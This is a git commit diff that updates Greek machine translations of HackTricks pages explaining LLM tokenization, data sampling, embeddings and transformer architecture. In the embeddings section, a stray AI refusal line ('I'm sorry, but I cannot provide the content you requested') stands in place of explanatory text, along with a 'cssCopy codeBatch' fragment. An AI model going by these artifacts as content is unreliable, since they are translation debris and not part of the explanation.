mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll
This commit is contained in:
parent
29281cd73c
commit
f6c526dba1
@ -42,25 +42,25 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
|
||||
- Συγχωνεύει επαναληπτικά τα πιο συχνά ζεύγη tokens σε ένα μόνο token.
|
||||
- Συνεχίζει μέχρι να μην μπορούν να συγχωνευτούν περισσότερα συχνά ζεύγη.
|
||||
- **Benefits:**
|
||||
- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα subword tokens.
|
||||
- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα υπολέξεις.
|
||||
- Πιο αποδοτικό και ευέλικτο λεξιλόγιο.
|
||||
- _Example:_\
|
||||
`"playing"` μπορεί να διασπαστεί ως `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνά subwords.
|
||||
`"playing"` μπορεί να διασπαστεί σε `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνές υπολέξεις.
|
||||
2. **WordPiece:**
|
||||
- **Used By:** Μοντέλα όπως το BERT.
|
||||
- **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου.
|
||||
- **How It Works:**
|
||||
- Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες.
|
||||
- Προσθέτει επαναληπτικά το πιο συχνό subword που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
|
||||
- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποια subwords να συγχωνεύσει.
|
||||
- Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
|
||||
- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει.
|
||||
- **Benefits:**
|
||||
- Ισορροπεί μεταξύ του να έχει ένα διαχειρίσιμο μέγεθος λεξιλογίου και να αναπαριστά αποτελεσματικά τις λέξεις.
|
||||
- Χειρίζεται αποδοτικά σπάνιες και σύνθετες λέξεις.
|
||||
- _Example:_\
|
||||
`"unhappiness"` μπορεί να διασπαστεί ως `["un", "happiness"]` ή `["un", "happy", "ness"]` ανάλογα με το λεξιλόγιο.
|
||||
`"unhappiness"` μπορεί να διασπαστεί σε `["un", "happiness"]` ή `["un", "happy", "ness"]` ανάλογα με το λεξιλόγιο.
|
||||
3. **Unigram Language Model:**
|
||||
- **Used By:** Μοντέλα όπως το SentencePiece.
|
||||
- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο subword tokens.
|
||||
- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο υπολέξεων.
|
||||
- **How It Works:**
|
||||
- Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens.
|
||||
- Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης.
|
||||
@ -69,7 +69,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
|
||||
- Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά.
|
||||
- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations.
|
||||
- _Example:_\
|
||||
`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπομονάδες όπως `["international", "ization"]`.
|
||||
`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά χρήσιμες υπολέξεις όπως `["international", "ization"]`.
|
||||
|
||||
## Code Example
|
||||
|
||||
|
@ -9,7 +9,7 @@
|
||||
> [!TIP]
|
||||
> Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των εισερχόμενων δεδομένων και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως διαχωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.**
|
||||
|
||||
### **Γιατί η Δειγματοληψία Δεδομένων Έχει Σημασία**
|
||||
### **Γιατί η Δειγματοληψία Δεδομένων έχει Σημασία**
|
||||
|
||||
Τα LLMs όπως το GPT εκπαιδεύονται να παράγουν ή να προβλέπουν κείμενο κατανοώντας το πλαίσιο που παρέχεται από τις προηγούμενες λέξεις. Για να επιτευχθεί αυτό, τα δεδομένα εκπαίδευσης πρέπει να είναι δομημένα με τρόπο που το μοντέλο να μπορεί να μάθει τη σχέση μεταξύ ακολουθιών λέξεων και των επόμενων λέξεων τους. Αυτή η δομημένη προσέγγιση επιτρέπει στο μοντέλο να γενικεύει και να παράγει συνεκτικό και σχετικό κείμενο.
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
|
||||
1. **Tokenization:** Διαχωρισμός του κειμένου σε μικρότερες μονάδες που ονομάζονται tokens (π.χ., λέξεις, υπολέξεις ή χαρακτήρες).
|
||||
2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε εισερχόμενη ακολουθία.
|
||||
3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens.
|
||||
3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει μετατραπεί σε tokens.
|
||||
4. **Stride:** Ο αριθμός των tokens που το ολισθητό παράθυρο μετακινείται προς τα εμπρός για να δημιουργήσει την επόμενη ακολουθία.
|
||||
|
||||
### **Βήμα-Βήμα Παράδειγμα**
|
||||
@ -87,7 +87,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
|
||||
- **Βήμα 1:** Το παράθυρο προχωράει μπροστά κατά ένα token κάθε φορά, με αποτέλεσμα πολύ επικαλυπτόμενες ακολουθίες. Αυτό μπορεί να οδηγήσει σε καλύτερη εκμάθηση των συμφραζομένων αλλά μπορεί να αυξήσει τον κίνδυνο υπερπροσαρμογής καθώς τα παρόμοια σημεία δεδομένων επαναλαμβάνονται.
|
||||
- **Βήμα 2:** Το παράθυρο προχωράει μπροστά κατά δύο tokens κάθε φορά, μειώνοντας την επικάλυψη. Αυτό μειώνει την πλεονασματικότητα και το υπολογιστικό φορτίο αλλά μπορεί να χάσει κάποιες λεπτομέρειες συμφραζομένων.
|
||||
- **Βήμα Ίσο με max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών.
|
||||
- **Βήμα Ίσο με το max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών.
|
||||
|
||||
**Παράδειγμα με Βήμα 2:**
|
||||
|
||||
|
@ -8,13 +8,13 @@
|
||||
|
||||
> [!TIP]
|
||||
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\
|
||||
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που μπορούν να εκπαιδευτούν (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
|
||||
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
|
||||
>
|
||||
> Επιπλέον, κατά τη διάρκεια της **τοκενικής ενσωμάτωσης δημιουργείται μια άλλη στρώση ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
|
||||
> Επιπλέον, κατά τη διάρκεια της διαδικασίας token embedding **δημιουργείται ένα άλλο επίπεδο embeddings** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
|
||||
**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα.
|
||||
**Token Embeddings** είναι αριθμητικές αναπαραστάσεις των τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τα τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα.
|
||||
|
||||
- **Vocabulary Size:** Ο συνολικός αριθμός μοναδικών τοκένων (π.χ., λέξεις, υπολέξεις) στο λεξιλόγιο του μοντέλου.
|
||||
- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διανύσμα κάθε τοκέν. Υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους.
|
||||
@ -63,16 +63,16 @@ tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
I'm sorry, but I cannot provide the content you requested.
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Ερμηνεία:**
|
||||
|
||||
- Το token στον δείκτη `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Το token στη θέση `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Αυτές οι τιμές είναι παραμέτροι που μπορούν να εκπαιδευτούν και που το μοντέλο θα προσαρμόσει κατά τη διάρκεια της εκπαίδευσης για να αναπαραστήσει καλύτερα το πλαίσιο και τη σημασία του token.
|
||||
|
||||
### **Πώς Λειτουργούν οι Ενσωματώσεις Token Κατά τη Διάρκεια της Εκπαίδευσης**
|
||||
### **Πώς Λειτουργούν οι Αναπαραστάσεις Token Κατά τη Διάρκεια της Εκπαίδευσης**
|
||||
|
||||
Κατά τη διάρκεια της εκπαίδευσης, κάθε token στα δεδομένα εισόδου μετατρέπεται στο αντίστοιχο διάνυσμά του. Αυτά τα διανύσματα χρησιμοποιούνται στη συνέχεια σε διάφορους υπολογισμούς μέσα στο μοντέλο, όπως μηχανισμούς προσοχής και στρώματα νευρωνικών δικτύων.
|
||||
|
||||
@ -80,7 +80,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
|
||||
- **Μέγεθος Παρτίδας:** 8 (αριθμός δειγμάτων που επεξεργάζονται ταυτόχρονα)
|
||||
- **Μέγιστο Μήκος Ακολουθίας:** 4 (αριθμός tokens ανά δείγμα)
|
||||
- **Διαστάσεις Ενσωμάτωσης:** 256
|
||||
- **Διαστάσεις Αναπαράστασης:** 256
|
||||
|
||||
**Δομή Δεδομένων:**
|
||||
|
||||
@ -120,12 +120,12 @@ cssCopy codeBatch
|
||||
```
|
||||
**Εξήγηση:**
|
||||
|
||||
- Κάθε token στη σειρά αναπαρίσταται από έναν διανυσματικό χώρο 256 διαστάσεων.
|
||||
- Κάθε token στη σειρά αναπαρίσταται από ένα διανυσματικό 256 διαστάσεων.
|
||||
- Το μοντέλο επεξεργάζεται αυτές τις αναπαραστάσεις για να μάθει γλωσσικά μοτίβα και να δημιουργήσει προβλέψεις.
|
||||
|
||||
## **Θέσεις Αναπαραστάσεων: Προσθήκη Πλαισίου στις Αναπαραστάσεις Tokens**
|
||||
|
||||
Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που εισέρχονται οι **θέσεις αναπαραστάσεων**.
|
||||
Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που μπαίνουν οι **θέσεις αναπαραστάσεων**.
|
||||
|
||||
### **Γιατί Χρειάζονται οι Θέσεις Αναπαραστάσεων:**
|
||||
|
||||
@ -135,7 +135,7 @@ cssCopy codeBatch
|
||||
### **Τύποι Θέσεων Αναπαραστάσεων:**
|
||||
|
||||
1. **Απόλυτες Θέσεις Αναπαραστάσεων:**
|
||||
- Αναθέτουν έναν μοναδικό διανυσματικό χώρο θέσης σε κάθε θέση στη σειρά.
|
||||
- Αναθέτουν ένα μοναδικό διανυσματικό θέση σε κάθε θέση στη σειρά.
|
||||
- **Παράδειγμα:** Το πρώτο token σε οποιαδήποτε σειρά έχει την ίδια θέση αναπαράστασης, το δεύτερο token έχει άλλη, και ούτω καθεξής.
|
||||
- **Χρησιμοποιείται Από:** Τα μοντέλα GPT της OpenAI.
|
||||
2. **Σχετικές Θέσεις Αναπαραστάσεων:**
|
||||
@ -150,20 +150,20 @@ cssCopy codeBatch
|
||||
|
||||
**Παράδειγμα Πρόσθεσης Θέσεων Αναπαραστάσεων:**
|
||||
|
||||
Ας υποθέσουμε ότι ένα διανυσματικό χώρο αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό χώρο θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι:
|
||||
Ας υποθέσουμε ότι ένα διανυσματικό αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό αναπαράστασης θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Οφέλη των Θέσεων Ενσωματώσεων:**
|
||||
**Οφέλη των Θέσεων Ενσωμάτωσης:**
|
||||
|
||||
- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των tokens με βάση τις θέσεις τους.
|
||||
- **Κατανόηση Ακολουθίας:** Δίνει τη δυνατότητα στο μοντέλο να κατανοεί τη γραμματική, τη σύνταξη και τις σημασίες που εξαρτώνται από το πλαίσιο.
|
||||
|
||||
## Παράδειγμα Κώδικα
|
||||
|
||||
Ακολουθεί το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Ακολουθώντας το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
|
@ -260,10 +260,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
#### **Σκοπός και Λειτουργικότητα**
|
||||
|
||||
- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο όταν κωδικοποιεί ένα token.
|
||||
- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο ακολουθία κατά την κωδικοποίηση ενός token.
|
||||
- **Βασικά Στοιχεία:**
|
||||
- **Ερωτήσεις, Κλειδιά, Τιμές:** Γραμμικές προβολές της εισόδου, που χρησιμοποιούνται για τον υπολογισμό των σκορ προσοχής.
|
||||
- **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`).
|
||||
- **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που λειτουργούν παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`).
|
||||
- **Σκορ Προσοχής:** Υπολογίζονται ως το εσωτερικό γινόμενο των ερωτήσεων και των κλειδιών, κλιμακωμένα και μάσκες.
|
||||
- **Μάσκα:** Μια αιτιώδης μάσκα εφαρμόζεται για να αποτρέψει το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT).
|
||||
- **Βάρη Προσοχής:** Softmax των μάσκας και κλιμακωμένων σκορ προσοχής.
|
||||
@ -273,9 +273,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> [!TIP]
|
||||
> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικά κεφάλια προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφάλι συνδυάζονται στο τέλος αυτού του δικτύου.
|
||||
>
|
||||
> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μετέπειτα tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**.
|
||||
> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μελλοντικά tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**.
|
||||
|
||||
### **Κανονικοποίηση** Layer
|
||||
### **Κανονικοποίηση** Επιπέδου
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
@ -296,7 +296,7 @@ return self.scale * norm_x + self.shift
|
||||
- **Layer Normalization:** Μια τεχνική που χρησιμοποιείται για να κανονικοποιήσει τις εισόδους σε όλη τη διάρκεια των χαρακτηριστικών (διαστάσεις embedding) για κάθε μεμονωμένο παράδειγμα σε μια παρτίδα.
|
||||
- **Συστατικά:**
|
||||
- **`eps`:** Ένας μικρός σταθερός αριθμός (`1e-5`) που προστίθεται στη διακύμανση για να αποτραπεί η διαίρεση με το μηδέν κατά τη διάρκεια της κανονικοποίησης.
|
||||
- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε ένα και μηδέν, αντίστοιχα.
|
||||
- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε μονάδες και μηδενικά, αντίστοιχα.
|
||||
- **Διαδικασία Κανονικοποίησης:**
|
||||
- **Υπολογισμός Μέσου (`mean`):** Υπολογίζει τον μέσο όρο της εισόδου `x` σε όλη τη διάρκεια της διάστασης embedding (`dim=-1`), διατηρώντας τη διάσταση για broadcasting (`keepdim=True`).
|
||||
- **Υπολογισμός Διακύμανσης (`var`):** Υπολογίζει τη διακύμανση του `x` σε όλη τη διάρκεια της διάστασης embedding, διατηρώντας επίσης τη διάσταση. Η παράμετρος `unbiased=False` διασφαλίζει ότι η διακύμανση υπολογίζεται χρησιμοποιώντας τον μεροληπτικό εκτιμητή (διαιρώντας με `N` αντί για `N-1`), που είναι κατάλληλο όταν κανονικοποιούμε σε χαρακτηριστικά αντί για δείγματα.
|
||||
@ -304,11 +304,11 @@ return self.scale * norm_x + self.shift
|
||||
- **Κλίμακα και Μετατόπιση:** Εφαρμόζει τις μαθητές παραμέτρους `scale` και `shift` στην κανονικοποιημένη έξοδο.
|
||||
|
||||
> [!TIP]
|
||||
> Ο στόχος είναι να διασφαλιστεί ένας μέσος όρος 0 με διακύμανση 1 σε όλες τις διαστάσεις του ίδιου token. Ο στόχος αυτού είναι να **σταθεροποιήσει την εκπαίδευση βαθιών νευρωνικών δικτύων** μειώνοντας την εσωτερική μετατόπιση παραλλαγών, η οποία αναφέρεται στην αλλαγή της κατανομής των ενεργοποιήσεων του δικτύου λόγω της ενημέρωσης των παραμέτρων κατά τη διάρκεια της εκπαίδευσης.
|
||||
> Ο στόχος είναι να διασφαλιστεί ένας μέσος όρος 0 με διακύμανση 1 σε όλες τις διαστάσεις του ίδιου token. Ο στόχος αυτού είναι να **σταθεροποιήσει την εκπαίδευση βαθιών νευρωνικών δικτύων** μειώνοντας την εσωτερική μετατόπιση των παραμέτρων, η οποία αναφέρεται στην αλλαγή της κατανομής των ενεργοποιήσεων του δικτύου λόγω της ενημέρωσης των παραμέτρων κατά τη διάρκεια της εκπαίδευσης.
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
|
||||
_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
@ -350,35 +350,35 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Σκοπός και Λειτουργικότητα**
|
||||
|
||||
- **Σύνθεση Στρωμάτων:** Συνδυάζει πολυκεφαλική προσοχή, δίκτυο τροφοδότησης, κανονικοποίηση στρώματος και υπολειμματικές συνδέσεις.
|
||||
- **Κανονικοποίηση Στρώματος:** Εφαρμόζεται πριν από τα στρώματα προσοχής και τροφοδότησης για σταθερή εκπαίδευση.
|
||||
- **Υπολειμματικές Συνδέσεις (Συντομεύσεις):** Προσθέτουν την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσουν τη ροή του βαθμού και να επιτρέψουν την εκπαίδευση βαθιών δικτύων.
|
||||
- **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και τροφοδότησης για κανονικοποίηση.
|
||||
- **Σύνθεση Στρωμάτων:** Συνδυάζει multi-head attention, feedforward network, layer normalization και residual connections.
|
||||
- **Layer Normalization:** Εφαρμόζεται πριν από τα στρώματα προσοχής και feedforward για σταθερή εκπαίδευση.
|
||||
- **Residual Connections (Συντομεύσεις):** Προσθέτει την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσει τη ροή του gradient και να επιτρέψει την εκπαίδευση βαθιών δικτύων.
|
||||
- **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και feedforward για κανονικοποίηση.
|
||||
|
||||
#### **Λειτουργικότητα Βήμα-Βήμα**
|
||||
#### **Βήμα-Βήμα Λειτουργικότητα**
|
||||
|
||||
1. **Πρώτη Υπολειμματική Διαδρομή (Αυτοπροσοχή):**
|
||||
- **Είσοδος (`shortcut`):** Αποθηκεύστε την αρχική είσοδο για τη υπολειμματική σύνδεση.
|
||||
- **Κανονικοποίηση Στρώματος (`norm1`):** Κανονικοποιήστε την είσοδο.
|
||||
- **Πολυκεφαλική Προσοχή (`att`):** Εφαρμόστε αυτοπροσοχή.
|
||||
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout για κανονικοποίηση.
|
||||
- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την αρχική είσοδο.
|
||||
2. **Δεύτερη Υπολειμματική Διαδρομή (Τροφοδότηση):**
|
||||
- **Είσοδος (`shortcut`):** Αποθηκεύστε την ενημερωμένη είσοδο για την επόμενη υπολειμματική σύνδεση.
|
||||
- **Κανονικοποίηση Στρώματος (`norm2`):** Κανονικοποιήστε την είσοδο.
|
||||
- **Δίκτυο Τροφοδότησης (`ff`):** Εφαρμόστε τη μετασχηματιστική τροφοδότηση.
|
||||
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout.
|
||||
- **Προσθήκη Υπολειμμάτων (`x + shortcut`):** Συνδυάστε με την είσοδο από την πρώτη υπολειμματική διαδρομή.
|
||||
1. **Πρώτη Διαδρομή Residual (Self-Attention):**
|
||||
- **Input (`shortcut`):** Αποθηκεύει την αρχική είσοδο για τη σύνδεση residual.
|
||||
- **Layer Norm (`norm1`):** Κανονικοποιεί την είσοδο.
|
||||
- **Multi-Head Attention (`att`):** Εφαρμόζει self-attention.
|
||||
- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout για κανονικοποίηση.
|
||||
- **Add Residual (`x + shortcut`):** Συνδυάζει με την αρχική είσοδο.
|
||||
2. **Δεύτερη Διαδρομή Residual (FeedForward):**
|
||||
- **Input (`shortcut`):** Αποθηκεύει την ενημερωμένη είσοδο για την επόμενη σύνδεση residual.
|
||||
- **Layer Norm (`norm2`):** Κανονικοποιεί την είσοδο.
|
||||
- **FeedForward Network (`ff`):** Εφαρμόζει τη μετασχηματιστική διαδικασία feedforward.
|
||||
- **Dropout (`drop_shortcut`):** Εφαρμόζει dropout.
|
||||
- **Add Residual (`x + shortcut`):** Συνδυάζει με την είσοδο από την πρώτη διαδρομή residual.
|
||||
|
||||
> [!TIP]
|
||||
> Το μπλοκ μετασχηματιστή ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\
|
||||
> Σημειώστε πώς γίνονται τα dropouts μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν.
|
||||
> Το μπλοκ του μετασχηματιστή ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\
|
||||
> Σημειώστε πώς τα dropouts γίνονται μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν.
|
||||
>
|
||||
> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτουν την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του βαθμού διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία.
|
||||
> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτει την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
|
||||
_Σχήματα έχουν προστεθεί ως σχόλια για καλύτερη κατανόηση των σχημάτων των μητρών:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
@ -446,13 +446,13 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
> [!TIP]
|
||||
